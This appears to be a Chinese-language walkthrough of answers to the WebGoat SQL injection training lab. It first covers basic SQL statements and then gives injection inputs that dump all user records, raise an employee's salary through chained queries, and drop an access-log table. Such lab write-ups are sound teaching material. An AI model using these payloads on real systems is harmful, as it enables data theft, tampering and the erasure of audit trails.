--- disqus: jpower --- # OWASP TOP10 Injection(SQL Injection Intro) ## 2 What is SQL? Q: 練習SQL指令,使用SQL指令查詢查詢Bob的部門 ANS: ``` SELECT department FROM employees WHERE first_name='Bob'; ``` 資料表(employees)如下:   ## 3 Data Manipulation Language (DML) Q: 練習SQL指令,更新Tobi Barnett的部門為Sales ANS: ``` UPDATE employees SET department='Sales' WHERE first_name='Tobi'; ```  ## 4 Data Definition Language (DDL) Q: 練習SQL指令,新增一個欄位phone到資料表(employees)中 ANS: ``` ALTER TABLE employees ADD phone varchar(20); ```  ## 5 Data Control Language (DCL) Q: 練習SQL指令,給unauthorized_user的使用者資料表(grant_rights)的權限 ANS: ``` GRANT ALL ON grant_rights TO unauthorized_user; ```  ## 9 Try It! String SQL injection Q: SQL Injection練習,使用注入語法取得所有使用者資訊 ANS: ``` SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or '1' = '1'; ```  ## 10 Try It! Numeric SQL injection Q: SQL Injection練習,使用注入語法取得所有使用者資訊 ANS: ``` SELECT * From user_data WHERE Login_Count = 1 AND userid= '1' OR '1'='1'; ``` 說明: SQL語法的AND優先於OR,所以上述解答的語法條件其實是如下所示,因此注入攻擊會成立。 ``` (Login_Count = 1 AND userid= '1') OR ('1'='1') ```  ## 11 Compromising confidentiality with String SQL injection Q: SQL Injection練習,使用注入語法取得所有使用者資訊 ANS: ``` Employee Name輸入: Smith' OR '1'='1' -- ```  ## 12 Compromising Integrity with Query chaining Q: SQL Injection練習,修改資料表內容,將Smith的薪水調高 ANS: ``` Employee Name輸入: Smith'; UPDATE employees SET salary=99999 WHERE last_name='Smith' -- ```  ## 13 Compromising Availability Q: SQL Injection練習,抹除操作記錄(刪除資料表acces_log) ANS: ``` Action contains輸入: ';DROP TABLE access_log;-- ```  ###### tags: `webgoat`,`Injection`
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up